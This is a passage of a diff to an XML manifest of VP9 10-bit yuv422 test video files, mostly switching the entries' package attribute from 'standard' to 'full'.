+    <value>mime=video/x-vnd.on2.vp9,size=44621,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=247136,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=247136,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=9869142,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1836164,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32769,172 +32769,172 @@
     <value>mime=video/x-vnd.on2.vp9,size=9869142,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=978145,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp20-30_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=550044,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=550044,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=262946,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=262946,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=415237,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=415237,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=116360,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=116360,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41600,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41600,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=9752,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=9752,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42574,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42574,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42704,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42704,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42507,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42507,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42635,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42635,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42642,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42642,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42670,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42670,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42644,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42644,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=35732,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=35732,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41349,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41349,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41360,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41360,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41585,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41585,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40447,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40447,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40403,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40403,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42413,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42413,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42421,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42421,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42457,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42457,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42462,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42462,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42550,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42550,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42421,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42421,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42421,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42421,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42421,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42421,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41912,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41912,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=44864,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=44864,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42302,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=37104,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=37104,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=44621,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=44621,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=247136,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=247136,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=9864454,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1836619,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32943,169 +32943,169 @@
     <value>mime=video/x-vnd.on2.vp9,size=9864454,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=977872,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp20-30_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=550394,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=550394,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=262557,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=262557,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=416149,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=416149,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=116015,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=116015,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42027,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42027,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=9886,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=9886,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42727,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42610,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42610,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42671,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42671,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42722,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42722,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42682,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42682,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42503,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42503,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
